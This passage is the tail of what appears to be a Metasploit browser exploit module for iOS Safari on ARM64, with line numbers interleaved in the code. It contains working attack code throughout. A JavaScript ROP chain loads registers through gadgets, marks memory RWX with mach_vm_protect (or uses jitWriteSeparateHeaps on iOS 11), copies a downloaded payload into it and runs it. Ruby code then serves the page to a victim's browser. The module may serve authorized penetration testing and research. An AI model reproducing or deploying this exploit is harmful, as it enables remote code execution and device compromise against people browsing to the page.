arr[pos++] = x1.lo(); // x22 == x1 (arg2)
800
arr[pos++] = x1.hi(); // x22 == x1 (arg2)
801
arr[pos++] = func.lo(); // x21 (func)
802
arr[pos++] = func.hi(); // x21 (func)
803
arr[pos++] = 0xdbad0018; // x20 (unused)
804
arr[pos++] = 0xdbad0019; // x20 (unused)
805
arr[pos++] = 0xdead001a; // x19 (unused)
806
arr[pos++] = 0xdead001b; // x19 (unused)
807
var tmppos = pos;
808
arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29
809
arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29
810
arr[pos++] = regloader.lo(); // x30 (first gadget)
811
arr[pos++] = regloader.hi(); // x30 (first gadget)
812
813
// after dispatch:
814
arr[pos++] = 0xdead0020; // unused
815
arr[pos++] = 0xdead0021; // unused
816
arr[pos++] = 0xdead0022; // unused
817
arr[pos++] = 0xdead0023; // unused
818
arr[pos++] = 0xdead0024; // x22 (unused)
819
arr[pos++] = 0xdead0025; // x22 (unused)
820
arr[pos++] = 0xdead0026; // x21 (unused)
821
arr[pos++] = 0xdead0027; // x21 (unused)
822
arr[pos++] = 0xdead0028; // x20 (unused)
823
arr[pos++] = 0xdead0029; // x20 (unused)
824
arr[pos++] = 0xdead002a; // x19 (unused)
825
arr[pos++] = 0xdead002b; // x19 (unused)
826
tmppos = pos;
827
arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29
828
arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29
829
arr[pos++] = jump_to.lo(); // x30 (gadget)
830
arr[pos++] = jump_to.hi(); // x30 (gadget)
831
}
832
833
var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {
834
//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);
835
//x4 = x4 || Int64.One
836
// in stackloader:
837
arr[pos++] = 0xdead0010; // unused
838
arr[pos++] = 0xdead0011; // unused
839
arr[pos++] = 0xdead0012; // unused
840
arr[pos++] = 0xdead0013; // unused
841
arr[pos++] = 0xdead1101; // x28 (unused)
842
arr[pos++] = 0xdead1102; // x28 (unused)
843
arr[pos++] = 0xdead0014; // x27 == x6 (unused)
844
arr[pos++] = 0xdead0015; // x27 == x6 (unused)
845
arr[pos++] = 0xdead0016; // x26 (unused)
846
arr[pos++] = 0xdead0017; // x26 (unused)
847
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
848
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
849
arr[pos++] = x0.lo(); // x24 == x0 (arg1)
850
arr[pos++] = x0.hi(); // x24 == x0 (arg1)
851
arr[pos++] = x2.lo(); // x23 == x2 (arg3)
852
arr[pos++] = x2.hi(); // x23 == x2 (arg3)
853
arr[pos++] = x3.lo(); // x22 == x3 (arg4)
854
arr[pos++] = x3.hi(); // x22 == x3 (arg4)
855
arr[pos++] = func.lo(); // x21 (target for dispatch)
856
arr[pos++] = func.hi(); // x21 (target for dispatch)
857
arr[pos++] = 0xdead0018; // x20 (unused)
858
arr[pos++] = 0xdead0019; // x20 (unused)
859
var tmppos = pos;
860
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
861
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
862
arr[pos++] = 0xdead001c; // x29 (unused)
863
arr[pos++] = 0xdead001d; // x29 (unused)
864
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
865
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
866
867
// in ldrx8
868
if (x4) {
869
arr[pos++] = stackloader.lo();
870
arr[pos++] = stackloader.hi();
871
} else {
872
arr[pos++] = dispatch.lo(); // x8 (target for regloader)
873
arr[pos++] = dispatch.hi(); // x8 (target for regloader)
874
}
875
arr[pos++] = 0xdead1401; // (unused)
876
arr[pos++] = 0xdead1402; // (unused)
877
arr[pos++] = 0xdead1301; // x20 (unused)
878
arr[pos++] = 0xdead1302; // x20 (unused)
879
arr[pos++] = x1.lo(); // x19 == x1 (arg2)
880
arr[pos++] = x1.hi(); // x19 == x1 (arg2)
881
arr[pos++] = 0xdead1201; // x29 (unused)
882
arr[pos++] = 0xdead1202; // x29 (unused)
883
arr[pos++] = regloader.lo(); // x30 (next gadget)
884
arr[pos++] = regloader.hi(); // x30 (next gadget)
885
886
// in regloader
887
// NOTE: REGLOADER DOES NOT ADJUST SP!
888
// sometimes i didn't get expected value in x4
889
// and i have no earthly idea why
890
// usleep likely did the trick, but I would still keep the code
891
// with movx4
892
//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)
893
//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)
894
895
if (x4) {
896
// in stackloader:
897
arr[pos++] = 0xdaad0010; // unused
898
arr[pos++] = 0xdaad0011; // unused
899
arr[pos++] = 0xdaad0012; // unused
900
arr[pos++] = 0xdaad0013; // unused
901
arr[pos++] = 0xdaad1101; // x28 (unused)
902
arr[pos++] = 0xdaad1102; // x28 (unused)
903
arr[pos++] = 0xdaad0014; // x27 == x6 (unused)
904
arr[pos++] = 0xdaad0015; // x27 == x6 (unused)
905
arr[pos++] = 0xdaad0016; // x26 (unused)
906
arr[pos++] = 0xdaad0017; // x26 (unused)
907
arr[pos++] = 0xdaad0018; // x25 (unused)
908
arr[pos++] = 0xdaad0019; // x25 (unused)
909
arr[pos++] = 0xdaad00f0; // x24 (unused)
910
arr[pos++] = 0xdaad00f1; // x24 (unused)
911
arr[pos++] = 0xdaad00f2; // x23 (unused)
912
arr[pos++] = 0xdaad00f3; // x23 (unused)
913
arr[pos++] = 0xdaad00f4; // x22 (unused)
914
arr[pos++] = 0xdaad00f5; // x22 (unused)
915
arr[pos++] = func.lo(); // x21 (target for dispatch)
916
arr[pos++] = func.hi(); // x21 (target for dispatch)
917
arr[pos++] = 0xdaad0018; // x20 (unused)
918
arr[pos++] = 0xdaad0019; // x20 (unused)
919
tmppos = pos;
920
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
921
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
922
arr[pos++] = 0xdaad001c; // x29 (unused)
923
arr[pos++] = 0xdaad001d; // x29 (unused)
924
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
925
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
926
927
// in ldrx8
928
arr[pos++] = dispatch.lo(); // x8 (target for movx4)
929
arr[pos++] = dispatch.hi(); // x8 (target for movx4)
930
arr[pos++] = 0xdaad1401; // (unused)
931
arr[pos++] = 0xdaad1402; // (unused)
932
arr[pos++] = x4.lo(); // x20 == x4 (arg5)
933
arr[pos++] = x4.hi(); // x20 == x4 (arg5)
934
arr[pos++] = 0xdaad1301; // x19 (unused)
935
arr[pos++] = 0xdaad1302; // x19 (unused)
936
arr[pos++] = 0xdaad1201; // x29 (unused)
937
arr[pos++] = 0xdaad1202; // x29 (unused)
938
arr[pos++] = movx4.lo(); // x30 (next gadget)
939
arr[pos++] = movx4.hi(); // x30 (next gadget)
940
}
941
942
// after dispatch:
943
944
// keep only one: these or 0xdeaded01
945
arr[pos++] = 0xdead0022; // unused
946
arr[pos++] = 0xdead0023; // unused
947
948
arr[pos++] = 0xdead0022; // unused
949
arr[pos++] = 0xdead0023; // unused
950
arr[pos++] = 0xdead0024; // x22 (unused)
951
arr[pos++] = 0xdead0025; // x22 (unused)
952
arr[pos++] = 0xdead0026; // x21 (unused)
953
arr[pos++] = 0xdead0027; // x21 (unused)
954
arr[pos++] = 0xdead0028; // x20 (unused)
955
arr[pos++] = 0xdead0029; // x20 (unused)
956
arr[pos++] = 0xdead002a; // x19 (unused)
957
arr[pos++] = 0xdead002b; // x19 (unused)
958
arr[pos++] = 0xdead002c; // x29 (unused)
959
arr[pos++] = 0xdead002d; // x29 (unused)
960
arr[pos++] = jump_to.lo(); // x30 (gadget)
961
arr[pos++] = jump_to.hi(); // x30 (gadget)
962
}
963
964
var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {
965
x0 = x0 || Int64.Zero
966
x1 = x1 || Int64.Zero
967
x2 = x2 || Int64.Zero
968
x3 = x3 || Int64.Zero
969
jump_to = jump_to || stackloader
970
971
return (ldrx8 ? add_call_via_x8 : add_call_llvm)(
972
func, x0, x1, x2, x3, x4, jump_to
973
)
974
}
975
976
#{if ios_11
977
'
978
if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {
979
add_call(jitWriteSeparateHeaps
980
, Sub(codeAddr, memPoolStart) // off
981
, paddr // src
982
, shsz // size
983
);
984
} else {
985
fail("jitWrite");
986
}
987
'
988
else
989
'
990
add_call(mach_vm_protect,
991
mach_task_self_, // task
992
codeAddr, // addr
993
shsz, // size
994
new Int64(0), // set maximum
995
new Int64(7) // prot (RWX)
996
);
997
998
add_call(memmove,
999
codeAddr, // dst
1000
paddr, // src
1001
shsz // size
1002
);
1003
'
1004
end}
1005
1006
add_call(codeAddr,
1007
dlopen,
1008
dlsym,
1009
jitWriteSeparateHeaps,
1010
memPoolStart,
1011
memPoolEnd,
1012
);
1013
1014
for(var i = 0; i < 0x20; ++i)
1015
{
1016
arr[pos++] = 0xde00c0de + (i<<16);
1017
}
1018
1019
var sp = Add(stack, (arrsz - off) * 4);
1020
memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29
1021
memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)
1022
1023
// trigger
1024
//print("u rdy?")
1025
wrapper.addEventListener("click", function(){});
1026
1027
}
1028
1029
#{get_mem_rw}
1030
1031
function go() {
1032
try {
1033
var req = new XMLHttpRequest;
1034
req.open("GET", "exploit");
1035
req.responseType = "arraybuffer";
1036
req.addEventListener("load", function() {
1037
try {
1038
if (req.responseType != "arraybuffer") throw "y u no blob";
1039
payload.set(new Uint8Array(req.response), 0x0);
1040
pwn();
1041
} catch (e) {
1042
fail("Error: " + e + (e != null ? " " + e.stack : ""))
1043
}
1044
});
1045
req.addEventListener("error", function(ev) {
1046
fail(ev)
1047
});
1048
req.send()
1049
} catch (e) {
1050
fail("Error: " + e + (e != null ? " " + e.stack : ""))
1051
}
1052
};
1053
1054
go();
1055
1056
</script>
1057
</body>
1058
</html>
1059
^
1060
1061
unless datastore['DEBUG_EXPLOIT']
1062
html.gsub!(%r{//.*$}, '') # strip comments
1063
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
1064
end
1065
1066
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
1067
end
1068
# rubocop:enable Metrics/MethodLength
1069
end
1070
1071